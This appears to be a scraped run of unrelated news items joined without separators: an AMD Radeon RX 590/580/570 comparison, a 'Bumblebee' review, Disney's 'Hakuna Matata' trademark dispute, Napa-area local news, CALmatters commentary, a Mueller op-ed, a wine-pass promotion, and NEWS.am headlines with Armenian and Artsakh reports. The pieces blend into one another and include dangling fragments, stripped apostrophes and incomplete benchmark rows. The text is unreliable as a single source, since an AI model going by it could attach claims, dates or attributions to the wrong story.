than the RX 580. The Radeon RX 570 is a slightly smaller chip which is notably less powerful thanks to its relatively small 4GB of GDDR5 memory. Below are the specifications and South African pricing for the Radeon RX 590, RX 580, and RX 570 graphics cards. GPU Cores Base/Boost Clock Memory TDP Price AMD Radeon RX 590 2,304 1,469MHz/1,545MHz 8GB GDDR5 175W R4,199 AMD Radeon RX 580 2,304 1,257MHz/1,340MHz 8GB GDDR5 185W R3,399 AMD Radeon RX 570 2,048 1,168MHz/1,244MHz 4GB GDDR5 150W R2,499 Performance To see how the cards stack up against each other, we used data from AnandTechs benchmark database to compare their FPS performance in games. All three graphics cards are capable gaming products, and subsequently we compared benchmarks conducted using Ultra or Very High settings in both 1080p and 1440p. As the Radeon RX 590 was released some time after the two older cards, it has not yet been through the same benchmarks and there are subsequently some games for which a single card does not have a score recorded. Below is a comparison of the three graphics cards FPS scores in a number of demanding games. Benchmarks FPS RX 590 RX 580 RX 570 Ashes of the Singularity 1,920 x 1,080 (Extreme) 57.0 48.2 44.4 Ashes of the Singularity 2,560 x 1,440 (Extreme) 48.0 45.0 41.1 Grand Theft Auto V 1,920 x 1,080 (Very High) 55.9 54.5 50.3 Grand Theft Auto V 2,560 x 1,440 (Very High) 38.8 38.0 35.0 Battlefield 1 1,920 x 1,080 (Ultra) 98.2 87.6 Battlefield 1 2,560 x 1,440 (Ultra) 72.0 64.5 Hitman 61.4 57.7 While the benchmark data above is not comprehensive, it does point to incremental performance increases as you progress up from the Radeon RX 570 to the RX 590. Looking at the degree of these increments, the Radeon RX 580 seems to offer the best value, with the Radeon RX 590 offering big performance boosts in certain titles, but very little in others. These graphics cards were once made extremely expensive due to their demand among cryptocurrency miners, but the opposite is now true. With miners selling their hardware to recoup their losses, adventurous buyers on a budget can opt to pick up some very cheap Radeon RX 580 graphics cards at great prices. Despite their relatively low prices, the Radeon RX 500 Series cards offer impressive performance and would be more than suitable for any 1080p gaming rig. Now read: Intel confirms it will launch discrete graphics cards in 2020 Advertise Here Be seen advertise here. Contact us. When the bot adventure "Transformers" came out in 2007, it quickly became shorthand for everything that's loud, dumb and wrong about CGI-saturated action movies. Luckily, "Bumblebee," the new prequel about a plucky little (well, relatively) Volkswagen-robot tones down everything that made its predecessors weak, while adding humor, emotion and a surprising amount of heart. As the film begins, a war between the Decepticons (bad guys) and the Autobots (good guys) is raging on the planet Cybertron. Eventually, the Decepticons are victorious and the Autobots scatter across the universe, with the titular bot - officially known as B-127 and voiced by Dylan O'Brien - heading to Earth to hide out and scope it out as a possible base. He ends up crashing into California, right into the laps of a Special Forces team led by Agent Burns (John Cena). They start shooting, just in time for a Decepticon to arrive with a mission to send Bumblebee to the great junkyard in the sky. After an impressive battle that convinces Burns that all Transformers are bent on destruction, Bumblebee finds himself with a broken voice box and a failing memory. He powers down, hiding out in the form of a cheerful yellow VW Beetle. Fast-forward to 1987, when Bumblebee is discovered in a junkyard and brought back to life by Charlie (Hailee Steinfeld), an 18-year-old with a knack for machines who is still grieving the death of her father some years ago. After she starts him up, the two become fast (if unlikely) friends: One, a sullen teen with a fondness for the Smiths, and the other an innocent bot with baby-blue eyes. She dubs him "Bumblebee" in a nod to the electric buzzing noise that's replaced his voice. While the plot of "Bumblebee" technically centers on Charlie and Bumblebee's efforts to avoid two Decepticon bounty hunters (Justin Theroux and Angela Bassett), the movie is really about their relationship. In the beginning, they're both a bit timid; she's an offbeat teenager, he's a giant metal child. Without a voice, Bumblebee communicates his emotions through physicality; eventually Charlie installs a radio he uses to land on songs that convey what's on his mind. In addition to an expressive face, his body language and movements are adorable. At one point, he sits with his legs straight out, his huge feet making him look like a 5-year-old trying on his dad's shoes. It's easy for both Charlie and the audience to want to protect him. Although Bumblebee gets the movie's title, the story belongs just as much to Charlie, and Steinfeld is as sharp and funny and awkward as any other '80s teen-movie protagonist. The only two other characters that really matter are her next-door neighbor (Jorge Lendeborg Jr.) and Agent Burns. While Lendeborg adeptly fills the role of the nerd who pines from afar, Cena only shines when he's allowed to show off the comedic gifts we saw in "Trainwreck" and "Sisters." Alas, his attempts to glower and growl are largely unsuccessful. Those who come for the punching will also come away pleased. After the one melee at the beginning, most of the fighting is hand-to-hand (axle to axle?) and in close quarters. The robots flip and clang with impressive speed and clarity, and the excellent sound design illustrates what's going on, rather than simply assaulting the audience's ears. There are, of course, some weaknesses, including the expected amount of clunky dialogue, predictable passages and plot holes. (Great cinema this is not.) But those are easily shrugged off in favor of watching Bumblebee and Charlie's relationship change them both for the better. In the end, "Bumblebee" is less a movie about giant robot aliens punching each other than it is a story about friendship. Charlie finds a way to cope with her grief. And Bumblebee finds a way to grow into someone who learns to cope with a world where he's not welcome. Underneath the metal veneer, there is a genuinely touching story of two friends who help one another along a road that, in the beginning, neither of them thought they could walk. Or drive. Three stars. Rated PG-13. Contains mild rude language and sequences of sci-fi action violence. 113 minutes. Ratings Guide: Four stars masterpiece, three stars very good, two stars OK, one star poor, no stars waste of time. "Hakuna Matata," a song about having no worries, is now bringing Disney worries. An online petition urging Disney to drop its trademark on the Swahili phrase attracted more than 57,000 signatures as of Wednesday morning amid anticipation for the company's upcoming live-action remake of "The Lion King." (Yes, the one starring Donald Glover, James Earl Jones and Beyonce Knowles-Carter.) The petition states that the phrase has long been used by Swahili speakers in many African countries - Burundi, Kenya, Rwanda, Tanzania, Uganda and more - so Disney "can't be allowed to trademark something that it didn't invent." Disney originally applied to trademark "hakuna matata" for use on merchandise in 1994, the same year it released the original "Lion King." It was eventually granted the trademark in 2003, by which point American audiences probably associated the phrase with the Elton John and Tim Rice tune sung by an animated meerkat and warthog. But Disney wasn't even the first to include the phrase in a musical number. Kenyan band Them Mushrooms featured "hakuna matata" in their popular song "Jambo Bwana (Hello Mister)" back in 1982. The company has received similar criticism before. "Coco," the successful Pixar collaboration released late last year, was initially titled "Dia de los Muertos" in reference to the Mexican holiday at the center of the film. Disney applied in 2013 to trademark the phrase, probably also for merchandising purposes, and backed down after backlash from the Latino community, led by Mexican American cartoonist Lalo Alcaraz, known for his comic "La Cucaracha." Pixar then hired Alcaraz and others to serve as cultural advisers on "Coco." He now tells The Washington Post: "It was wrong to attempt to trademark 'Dia de los Muertos' for commerce, and it is wrong to attempt to trademark 'Hakuna Matata,' too." Perhaps even stranger, Disney sought out exclusive rights to "SEAL Team 6" just days after news broke of Osama bin Laden's death. The name refers to the counterterrorism unit that captured and killed the al-Qaida leader, and Disney eventually withdrew its application "out of deference to the Navy." (Disney's plans once again included merchandise and, according to a Wall Street Journal source, a potential show on ABC.) Disney has not yet returned The Post's request for comment on the "hakuna matata" petition, but we'd also like to ask another question: What on earth is going on with the live-action "Aladdin"? ST. HELENA Officials with the St. Helena Chamber of Commerce made the rounds Tuesday to surprise winners of the Chambers annual Celebrate St. Helena awards. The winners are Marcus Robbins and Wayne Armstrongs Pennyweight for Business of the Year, Stephanie Iacobacci of the St. Helena Recreation Department for Employee of the Year, Norma Ferriz for Citizen of the Year, and St. Helena Preschool For All for Nonprofit of the Year. Robbins and Armstrong thought they were having a routine meeting with the Chambers Joaquin Razo at Pennyweight one of their three stores along with Patina and Palladium when the rest of the Chamber contingent burst in: Chamber President/CEO Amy Carabba-Salazar and Chamber board members Marcus Marquez and Katie Leonardini. After accepting the customary gifts of flowers and a bottle of wine, Robbins said hes optimistic about Main Street, which will benefit from synergy among the Chamber, businesses and the city. An hour later, Chamber officials arrived at the office of the citys Recreation Department and surprised Stephanie Iacobacci, who left Health Spa Napa Valley to become the citys recreation supervisor in October 2017. Iacobacci was instrumental in organizing St. Helenas Jingle All the Way, a collaboration between the Chamber and the city. Jingle All the Way would not have happened without you, Carabba-Salazar told Iacobacci. Im so appreciative. Citizen of the Year Norma Ferriz got the good news at her office on Tuesday afternoon. Ferriz works for the UpValley Family Centers, volunteers as a troop leader for the Upper Valley Girl Scouts, and is a member of Soroptimist and the St. Helena Star editorial board. People in St. Helena just think the world of you and you give so much to the community, Razo told her. The Chamber planned to surprise Julio Olguin, executive director of St. Helena Preschool for All, with the Nonprofit of the Year award on Wednesday. The winners will be honored at a Celebrate St. Helena event tentatively scheduled for March 1, with a time and location to be announced. Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The Napa County District Attorneys Office will receive $400,000 to create a center for victims of abuse. The state issued grants totaling $1.2 million in 2018 to create Family Justice Centers, which serve victims of domestic violence, sexual assault, human trafficking, and elder or dependent adult abuse, according to the California Office of Emergency Servicess website. The DAs office has been working with community groups for four years in hopes of creating such a center, according to the grant proposal. Napa County will be awarded that funding over the next two years. Victims who are served by the center could meet with employees of the DAs office, law enforcement officers, victim advocates, forensic interviewers, and workers in government and nonprofit organizations, according to a press release sent Wednesday. The DAs Office said it reviews many allegations of abuse in Napa County each year. There were 501 domestic violence reports, six human trafficking reports, 26 elder abuse reports and 18 teen sex assault reports during the last fiscal year, which ended in June. The center is expected to be housed in the Aldea Children and Family Services building on First Street in downtown Napa. Aldea staff would also work in the facility. That site is near the countys Courage Center Program, which serves children who are victims of crimes, according to the release. Having so many service providers work together would improve service for victims and ensure that their personal needs were met, the release said. The DAs Office hopes to secure its first contract in January, said Nikki Lundeen, who aided in the grant process. A year earlier, the state had awarded Family Justice Center grants that included nearby Alameda, Contra Costa, Solano and Sacramento counties. Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Californias public employee unions suffered a potentially heavy blow this year when the U.S. Supreme Court declared that they could not charge fair share fees to non-members. Union leaders and their political allies essentially the entire Democratic Party feared that the ruling (Janus vs. AFSCME) would entice many civil service workers to drop their union memberships, sharply reducing dues income that has been a prime source of political campaign financing. Those fears were hopes for those on the other side of the states political spectrum conservative interest groups and Republicans. So far, however, the fallout has been scant. Many unions have declared that those seeking to drop their memberships must wait until contracts with state and local governments expire and/or they must pay service fees if they exit. Those provisions have touched off a flurry of lawsuits contending that such foot-dragging violates the Supreme Courts decision. Meanwhile, public employee unions are awaiting another judicial decree, this one from the state Supreme Court, that also has high stakes. Six years ago, Gov. Jerry Brown and the Legislature enacted a relatively mild reform of public employee pensions lowering potential benefits for new workers, compelling employees to make bigger contributions and eliminating maneuvers that allowed workers to inflate their pension checks. All were aimed at slowly reducing the huge unfunded liabilities plaguing the California Public Employees Retirement System (CalPERS) and local pension trust funds, thanks to investment losses during the Great Recession, surging baby boomer retirements, longer lifespans and, finally, very sharp increases in benefits in the last decade. Several unions disliked the reforms and sued, saying they violated whats been termed the California rule. Its a long-standing assumption, based on a 1955 state Supreme Court ruling, that pension benefits in place at the moment of a workers hiring can never be reduced without equivalent compensation. One suit, brought by a state firefighter union, challenged the governors elimination of airtime the ability for a worker to purchase additional years of service credit on the assertion that it violated the California rule. The suits resulted in a flurry of somewhat contradictory appellate court rulings, thus opening the legal door for the state Supreme Court to not only decide the specific issues, but possibly render a broader judgment on whether the California rule is sacrosanct. The Supreme Court heard oral arguments on the merged cases this month and it was evident that its justices are somewhat uncertain over whether to issue a narrow ruling on airtime and other specifics of the governors reforms, or delve into the California rule. One appellate ruling in a Marin County case, involving the reform plans elimination of pension spiking, essentially declared that the California rule isnt binding as long as employees receive substantial and reasonable pensions. Were the Supreme Court to adopt that attitude, it would open the door to freezing pension benefits already earned by employees and adopting lower benefits for future work. Such a ruling would please local government officials, who are faced with rapidly rising demands from CalPERS for more money to shrink the trust funds stubborn unfunded liability, driving some cities to the brink of insolvency and/or forcing them to ask voters for more taxes. It would give city officials leverage to place pension benefits on the table during union contract negotiations. It would give unions a black eye for trying to overturn Browns reform. And it would give the governor, who took personal charge of the pension legal battle, a big bullet point in his legacy. CALmatters is a public interest journalism venture committed to explaining how Californias state Capitol works and why it matters. For more stories by Dan Walters, go to calmatters.org/commentary. The week after the 2016 presidential election, I flew to Mexico to talk to Robert Mueller. The invitation to interview him about national security before an international conference audience came on short notice. The setting was a gilded hall of the palatial National Museum of Art in the historic heart of Mexico City. Mueller was dressed, as always, as if it were 1956, Eisenhower in the White House, Sinatra on the radio. He was relaxed, courtly, charming. I was reeling over the reality that Donald Trump was going to be president - and the slowly dawning realization that the Russians had wanted him in the White House. I hoped that Mueller, three years out of office as FBI director, might have some thoughts on this politically charged counterintelligence case. Six months to the day after we met, he was appointed special counsel. If you're looking for killer quotes, abandon hope. The conference organizers wanted the onstage colloquy to be off the record. But then Mueller and I talked face to face for about an hour offstage, first on a bus and then in a hotel. He responded to an email shortly afterward, via an aide, saying that although he didn't want to be quoted, save for one sentence, I could recount the day as I saw it. Given that he has been dead quiet since May 17, 2017, when he became the special counsel, and that he probably won't be scheduling a news conference anytime soon, I thought this might be the moment for that recollection. We talked about a uniquely American problem: how to run secret agencies in an open society. He wanted the bureau to serve as an intelligence service under law. When Mueller discussed national security, he invoked civil liberties - and the tug-of-war between them - in the same breath. They were opposing forces; we had to have both. Mueller made a persuasive case that he's a civil libertarian. No, that's not a big part of his reputation. Yes, he ran zealous counterterrorism operations after 9/11, some of them overzealous. But underneath that badge, I thought I detected a part of his heart that bleeds. He wanted his time at the FBI to be judged not only on work to disrupt and deter terrorism, but on protecting the rights of everyone, including enemies of the state. He wasn't going to be the guy who got a medal hung around his neck in retirement and a speech saying congratulations, you won the war on terrorism but we lost our civil liberties. Since that day in the museum, his investigations have reversed the polarity of public perceptions of the FBI, whose agents execute his orders as special counsel. Liberals who loathed the FBI now claim to love it. Conservatives who revered it now revile it. The ACLU holds rallies nationwide to defend Mueller's work. President Trump attacks it in 142 tweets as a "WITCH HUNT." We may want Mueller to be a lock-'em-up law man, not a civil rights advocate. I think he has the temperament to hold these two opposite ideas at once, and to reconcile them. That is justice in his eyes. He'll throw the book at Trump if the evidence demands it, but that book is going to contain the Constitution, not just the criminal code. In Mexico City, Mueller hewed closely to passages in a little-noticed, now nearly forgotten 2002 speech he gave at Stanford Law School, after receiving an award named for Jackson Ralston, a prominent graduate and, later in life, chairman of an ACLU chapter in California. In that speech, he made special mention of COINTELPRO, the attack on "leftists" and "radicals" - Mueller's text put the words in quotation marks - led by J. Edgar Hoover's FBI from 1956 through 1971. COINTELPRO aimed to destroy the Rev. Martin Luther King Jr., among thousands of other targets. Mueller vowed in that speech to protect "the constitutional rights of all Americans, including those Americans who wish us ill." He said much the same in the museum in Mexico. That was not a widely held position in Washington in the wake of 9/11 - an attack that took place one week after he took over the FBI. He defended and enforced harsh provisions of the USA Patriot Act. The FBI rounded up 1,200 people in eight weeks after 9/11. None was a member of al-Qaida. The bureau sharply increased the use of informants as agent provocateurs in Islamic communities. But there's another side to that story. Mueller's agents also were among the very first to blow the whistle on the CIA's secret prisons, to report the torture and abuses Americans carried out at those black sites and in the bleak chambers of Abu Ghraib. In October 2002, FBI agents at Guantanamo Bay in Cuba opened a running file that they later labeled "War Crimes." Mueller soon became something of a lonely voice in a wilderness where the alpha wolves were Vice President Dick Cheney and his acolyte, President George W. Bush. In 2004, lest we forget, Mueller confronted Bush and Cheney over their warrantless spying on Americans, the enormous National Security Agency eavesdropping effort code-named Stellar Wind. The NSA was sending the FBI raw data gleaned from the program, which amounted to handing over bulging vacuum cleaner bags the size of blimps. Stellar Wind was COINTELPRO cubed. Mueller - and the acting attorney general of the United States, who happened to be James B. Comey - determined that this was unconstitutional. On March 11, 2004, Bush ignored them and reauthorized the program alone in the White House. "The WH was trying to do an end run around the law," read Mueller's notes from that day. He drafted a letter of resignation by hand at 1:30 a.m. on March 12. "I am forced to withdraw the FBI from participation in the program," he wrote. "Further, should the President order the continuance of the FBI's program . . . I would be constrained to resign as Director of the FBI." He was going to take much of the command structure of the Justice Department and the bureau with him, including Comey and the current FBI director, Christopher Wray. Bush would not pay that price. One subject Mueller wouldn't touch in our conversation was the decision by Comey, his successor as FBI director, to take the hood off the 2016 election and tinker with the engine. But the single thing he chose to put on the record was an insistence that "the FBI director must be above politics," and the clear context of that comment was Comey. These men are allies now. But I saw back then that they weren't friends, a fact that Comey has since affirmed: "I've never been to his house," he told members of Congress this month. "I don't know his children's names." Comey has capitalized on his fame. I doubt Mueller will. He comes from a culture almost lost to us, a pure product of an America that essentially ceased to exist in the upheavals of 1968 - the world of the liberal Republican, once an endangered species, now nearly extinct, where working for the government was a patriotic public service, where personality is a private matter and where it is possible to be apolitical. I've interviewed presidents and secretaries of state and defense - Gerald Ford, Jimmy Carter, George Shultz, James Baker, Robert Gates - who were battered and scarred by politics, a bit embittered even. Mueller was none of that. Not then anyway. He'd had the sang-froid to stare down a president and emerge unscathed. I suspect he'll do that again in the fullness of time. Tim Weiner's reporting and writing on national security have won the Pulitzer Prize and the National Book Award. He is the author of Enemies: A History of the FBI and Legacy of Ashes: The History of the CIA. He wrote this for The Washington Post. Better late than never The government should clarify its engagement with the United Peace Federation Dare we say it? The outlines of a truce in Californias unending water battles began to come into focus last week, though not everyone is willing to sign the treaty. The State Water Board adopted the first phase of a far-reaching revision to the Water Quality Control Plan for the SacramentoSan Joaquin Delta and its watershed. This first phase, which has been many years in the making, focuses on the San Joaquin River and its tributaries, and would allocate a greater share of water to the environment. This is an effort to improve conditions for dwindling populations of endangered native fish such as salmon and steelhead. It also means an increase in water scarcity for farms and cities. The mere adoption of the plan was significant. But something else happened in the board meeting that may be more important and longer-lasting: state officials presented the framework of a peace treaty for Central Valley water wars. With support from Gov. Jerry Brown and Gov.-elect Gavin Newsom, most of the combatants negotiated the outlines of a comprehensive settlement agreement. The Natural Resources Agencyincluding the Department of Water Resources and the Department of Fish and Wildlifespent countless hours over several years convincing water users to develop a voluntary approach to improve ecosystem conditions for native fish species. The approach state officials presented to the board would increase flows in rivers and the Delta and make major investments in habitat. Perhaps most important, it would create sustainable funding for these efforts, including fees on water diversions, while improving scientific research on and governance of restoration efforts. To be clear, a framework was presented, not an actual settlement. But the framework contains commitments of water, habitat restoration and funding. It also includes timelines for action from water users across the greater SacramentoSan Joaquin River watershed, and a willingness to get this settlement completed by the end of 2019. A few districtssuch as the Oakdale, South San Joaquin and Merced Irrigation Districtsbalked at the framework and are threatening litigation. But most of the watershed has signed on. If this settlement is achieved and adopted by the board, it will be a major step forward in water management in the Central Valley. But a lot of work lies ahead. Water and habitat commitmentsalong with sources of fundingneed further negotiation, and a robust governance and science program still needs to be designed. Additionally, many of the non-governmental environmental organizations that were mostly left out of negotiations need to be more involved. Finally, the federal government can either be a partner or a roadblock to this effort. Federal representatives actively participated in negotiations and helped spur innovative approaches along the way. But after the State Water Boards vote, the U.S. Bureau of Reclamation threatened litigation, and the Trump administration is seeking to roll back environmental standards in the Delta. Both actions have the potential to undo the settlements. Despite these hurdles, theres reason for optimism that there can be a truce in Californias water wars. Whats clear is that negotiated solutions to water conflicts are fairer and longer-lasting than top-down regulatory solutions or, worse yet, litigated solutions where judges end up trying to manage water. Incoming Gov. Newsoms support and involvement will be essential to carry this effort to a positive conclusion. It should be a priority for his new administration. Jeffrey Mount is senior fellow and Ellen Hanak is the director at the Public Policy Institute of Californias Water Policy Center. They wrote this commentary for CALmatters, a public interest journalism venture committed to explaining how Californias Capitol works and why it matters. I am writing because our precious wooded areas in the north are in danger. Because of last year's wildfires (and this year's in Butte County) PG&E is being blamed for a lot of money in damages. As a result of that blame, PG&E has been deforesting swaths of California, including Angwin and the surrounding area. The reality is that the electrical grid is long overdue to be replaced in a lot of areas, but that will cost even more money (beside damages from the fires). Between the 2017 wildfires, PG&E and clear-cutting for more and more vineyards, we are losing too many trees too fast. In Santa Cruz, the city council stood up to them and stopped them. We can stop them, too. I'm hoping that readers will write letters or call 1) the Napa County Board of Supervisors 2) State Senator Bill Dodd and 3) PG&E and tell them to stop allowing deforestation- not just here, but elsewhere in California too. Jason Kishineff American Canyon Are you looking for a gift for the wine-lover in your life? I have an idea for you: a Priority Wine Pass card. Priority Wine Pass is a membership program that gives you access to customized offers for wine tasting experiences. The Priority Wine Pass reminds me of my Priority Pass that I use when I travel. My membership card gives me access to airport lounges around the world. So even when I am traveling in economy, I feel special when I can walk into a lounge where I can relax and get something complimentary to eat and drink. Who wouldnt want a little something extra to make their experience a bit more exclusive than the next persons? What Priority Pass does for the traveler, Priority Wine Pass does for the wine-lover. Priority Wine Pass was started by Jamie Cegelski in 2012. Jamie grew up in the East Bay and began her career working in overseas in international business for Slime Tire Sealant. Her father, James Cegelski, was looking to start a private equity firm and Jamie wanted to work for him. He told her that she would have to get her MBA, so she began studying for it in Dubai. (She was living abroad at the time.) Her father became ill, so she moved back to the U.S. and continued her studies in Boston, and ultimately finished in Shanghai. Her father passed away in 2010, and she returned home to help her mom. The timing was not great. It was in the midst of the financial crisis and with her only dream to work with her dad, Jamie lacked enthusiasm for anything else. She began working for a marketing company in which she would promote different brands and promotions to companies and consumers. That job took her to Napa to work the Twitter booth at the first Napa Valley Film Festival. After the film festival, Jamie and her mom drove around Napa and her idea for Priority Pass began to shape, in loving memory of her father, who had dreamed of owning a winery and creating a wine that he loved. Her idea was to connect wineries and customers. They walked into Andretti Winery for a tasting and she left with her first client. Due to the financial crisis, business was down and wineries were hurting for business. Wineries needed visitors and Jamie had a list of corporate employees that she could market to. Within two months, she had 100 wineries signed up. Today, the Priority Wine Pass has been rated the number 1 wine tasting experience by BevMo. A Priority Wine Pass offers complimentary, discounted and elevated wine tastings at more than 400 wineries in California, Oregon and Washington. Typically, a visit to a winery can include a winery tour, a flight of wine and perhaps a reserved tasting planned in advance. The more unique experiences are usually saved for wine club members. However, there are only so many wine clubs that one can manage being a member of at a time and then you might feel obligated to only return to those same wineries. A Priority Wine Pass currently sells for $60 and is valid for one year from the date of purchase. With Priority Wine Pass, you can visit any of the participating wineries as many times as you like. The customized offerings are not available to the public and include 2-for-1 tastings, discounts, barrel tastings, meeting the winemaker and special tours. The membership also includes hotel, transportation and restaurant discounts and Priority Wine Pass also provides a concierge-type service for members, curating customized, personalized wine tasting itineraries for clients. The Priority Wine Pass will make any wine lover feel just a little bit more special on their next wine-tasting outing. Allison Levine is owner of Please The Palate, a marketing and event-planning agency. A freelance writer, she contributes to numerous publications while eating and drinking her way around the world. Allison is also the host of the wine podcast Wine Soundtrack USA. Contact her at allison@pleasethepalate.com Israel calls on to stop Iran nuclear talks Taliban assures Iran border incident will not happen again Lavrov and Cavusoglu discuss South Caucasus situation Almost 9% of infected with COVID-19 in Armenia are vaccinated NEWS.am daily digest: 02.12.21 Armenia premier confers on proposals for large-scale investment programs in urban development Sebastian Kurz announces decision to quit politics President, those in charge of several NGOs discuss Artsakh programs Blinken: US hopes to work with Russia to resolve Armenia-Azerbaijan conflict Armenia President lauds dynamically developing relations with UAE Dollar still going up in Armenia Artsakh ombudsman: Azerbaijan shooting in direction of Karmir Shuka village lasted 10-15 minutes Christmas tree to be installed at Republic Square of Yerevan this year Armenia Security Council chief on deputy PMs Moscow meeting: Agreements not managed to be formulated yet Biden urges Congress to approve nuclear force data transfer to Australia Trump complains about loss of respect for the US Hajiyev: Azerbaijan ready to start talks with Armenia on signing peace agreement Ivan Aivazovsky bust unveiled in Stepanakert Armenia electricity tariffs may increase as of February 2022 Exchange of fire occurs in area of Karabakhs Karmir Shuka village Ardshinbank named the Best Bank of the Year by The Banker international magazine Ex-President Kocharyan chairs meeting of opposition Armenia Faction in parliament 3 more die of coronavirus in Artsakh Armenia, Russia, Azerbaijan deputy PMs to continue work in coming days to open regional communications Armenia to get EU assistance to improve its aviation safety Armenia revenue committee ex-chief is appointed Armavir Province governor 40% of Armenia adults have received first dose of Covid vaccine, 23.9% got second dose World oil prices going up 558 new cases of COVID-19 confirmed in Armenia Armenia humanitarian mission medical team delivers healthcare supplies to Aleppo medical facilities (PHOTOS) Russia peacekeepers in Karabakh conduct training Armenia FM in Stockholm, underscores proper, targeted response from international community (PHOTOS) Blinken, Cavusoglu discuss situation in Armenia, Azerbaijan Senator Markey expresses readiness to work in US Senate to facilitate release of Armenian POWs in Azerbaijan Newspaper: Armenia police continue inspections regarding health ministers voyages Newspaper: Armenia PM-Artsakh President tandem devises another operation Travelers to face stricter Covid test rules when visiting US UN Secretary-General urges to increase testing, and not to ban travel due to omicron strain Castro becomes the first female president in Honduras Lavrov: Russia is making efforts to resolve controversial issues between Armenia and Azerbaijan EU Representative: Bayramov and Mirzoyan to meet in Stockholm on December 2 European Commission unveils its alternative to China's Belt and Road Initiative Macron says UK PM Boris Johnson is a clown NEWS.am daily digest: 01.12.21 Embassy in Armenia: This year 16 Days of Activism align with US Summit for Democracy US envoy: Armenia has some of the best produce in the world Turkey already assessing economic benefits of opening Nakhichevan corridor Dollar continues increasing in Armenia All Armenian Fund: Working Group reported they received no credible evidence that funds were misappropriated Luc Pierre Devigne: EU discussing with Russia conflict between Armenia and Azerbaijan Armenia former President Sargsyan: Artsakh issue is not resolved Armenia, Russia, Azerbaijan deputy PMs to meet in Moscow today Russia MFA: OSCE plays useful role in promoting settlement of Karabakh conflict Armenia Inspection Bodies Coordination Bureau: We cant fine PM, parliament speaker for not wearing face masks Armenia State Revenue Committee: Indicators set by 2021 budget will be fulfilled Heavy snowfall in Armenias Ashotsk Armenia opposition lawmaker: Why should Azerbaijanis withdraw from Ishkhanasar hills? Armenia opposition MP: Iran drivers can enter Goris-Kapan road, refuel their cars with Azerbaijan fuel Armenia ex-President Sargsyan attending international videoconference (PHOTOS) Armenia PM sacks head of his staff's foreign relations department 4 more die of coronavirus in Karabakh President invites Romania colleague to Armenia Armenia revenue committee chief: Our customs officers are already on Goris-Kapan motorway 502 new cases of COVID-19 confirmed in Armenia Russia peacekeepers in Artsakh ensure about 150 pilgrims safe visit to Amaras Monastery in 1 week Armenia investigation of criminal case on high treason is over Erdogan expects to discuss Ukraine with Putin Armenia FM to head for Sweden Armenia, Greece, Cyprus special forces hold joint exercises Newspaper: Crimes with use of weapons increase in Armenia in 2021 Newspaper: Actual salaries decrease in Armenia Armenia ombudsman: Azerbaijan army is able to monitor Kapan-Chakaten alternative road as well (PHOTOS) Chairman of Armenia parliament probe committee: We will summon President and Prime Minister to ask questions Armenian analyst states reason why Iran won't renounce exit to Black Sea through Armenia's territory Charles Michel: Political dialogue between Armenia and Azerbaijan may lead to a sustainable settlement Putin hasn't decided if he will run in the 2024 presidential elections Armenia territorial administration and infrastructure minister meets with Russian deputy transport minister Central Bank of Armenia becomes member of Sustainable Banking and Financing Network (SBFN) Putin: If strike complexes emerge in Ukraine, Russia will give adequate response Lukashenko: Visit to Crimea will mean recognition of it as Russian territory STEPANAKERT. President of the Republic of Artsakh (Nagorno-Karabakh Republic/NKR), Bako Sahakyan, on Thursday issued a congratulatory address to servicemen and veterans of the National Security Service, in connection with the Day of the National Security Serviceman. National security system is among the pivotal directions of the states activity and occupies a special place in the state-building process, the address runs, in particular, Central Information Department of the Office of the NKR President informed Armenian News-NEWS.am. You carry out important duties aimed at ensuring the security of our state and people, protecting the legitimate interests and rights of citizens, contributing to the sustainable and steady development of the society. It requires high professionalism, principle stance, and commitment to the native country. The state will further on do its utmost to improve the working and social conditions of national security officers. CIAA lodges graft case against ex-NRB Governor Rawal The Commission for the Investigation of Abuse of Authority (CIAA) has lodged a corruption charge-sheet against three officials of Nepal Rastra Bank including former Governor Tilak Rawal for their alleged involvement in bribery while awarding the contract to print polymer banknotes. YEREVAN. Armenia believes that the continuing arms race in the South Caucasus region should be stopped. Anna Naghdalyan, spokesperson of the Ministry of Foreign Affairs (MFA), stated the aforementioned at Thursdays press briefing. With respect to Belarusian President Alexander Lukashenkos statement on the supply of armaments to Azerbaijan, Naghdalyan recalled that Armenias acting PM and his press secretary had already commented on this matter. [And] on behalf of the Ministry of Foreign Affairs, I can only add that the arms race in the region is at the focus of attention, she noted. Arms supplies simply increase the risk of their being used. What is business for some, is a deadly threat to us [Armenia]. Arms race leads to an increase in instability. The matter is always raised during meetings and multilateral meetings with [our] partners. At the same time, however, the Armenian MFA spokesperson urged not to confuse what was said with an absence of capabilities and determination. The Armenian Armed Forces are trained and armed enough to guarantee the security of Armenia and Artsakh [(Nagorno-Karabakh)], Anna Naghdalyan stressed, in particular. The head of the Turkish Justice Ministry Abdulhamit Gul expects the United States to take a decision on Fethullah Gulen, Haberturk reported. According to him, the US is conducting its own investigations into the Gulen case, which this is very important. The process is not yet complete, while its outcome is not negative yet, said Gul adding that Turkey is waiting for a positive result on the extradition issue. Turkish Foreign Minister Mevlut Cavusoglu said on Sunday that the US President Donald Trump reportedly notified Erdogan the US was considering the possibility of extraditing Gulen. Meanwhile, the White House rejected it, stating that Trump only said that the US would consider the issue of extradition. YEREVAN. The concepts of Artsakhs (Nagorno-Karabakh) security and status are inseparably linked. Anna Naghdalyan, spokesperson of the Ministry of Foreign Affairs (MFA) of Armenia, said the abovementioned at Thursdays press briefing. Asked whether the Madrid Principlesfor resolving the Karabakh conflictremain on the agenda, Naghdalyan recalled that according to the respective position of Armenia, the negotiations shall continue within the framework of the OSCE Minsk Group, solely through pacific means, and the priority is the security and status of Artsakh as well as its decisive voice in the establishment of long-lasting peace. The Armenian MFA spokesperson stressed that there shall not be anything that would threaten the physical safety of the people of Artsakh. And what is a status, if not the exercising of right and full security, she added. Also, Anna Naghdalyan said what Azerbaijan Foreign Minister Elmar Mammadyarov had stated on the results of their meeting in Milan, Italy, was already said earlier by Armenias Acting Foreign Minister Zohrab Mnatsakanyan. As per Naghdalyan, this was about achieving mutual understanding with respect to continuation of the dynamics of these meetings, and reaching an agreement the text of the five-party joint statement. The Armenian MFA spokesperson recalled that Armenia had repeatedly spoken about the need for abandoning bellicose statements. It is good that such a thing was heard from Azerbaijan for the first time, she added. STEPANAKERT. President of the Republic of Artsakh (Nagorno-Karabakh Republic/NKR), Bako Sahakyan, on Thursday attended the National Assembly plenary session devoted to the approval of the 2019 State Budget draft. In his remarks, Sahakyan touched upon 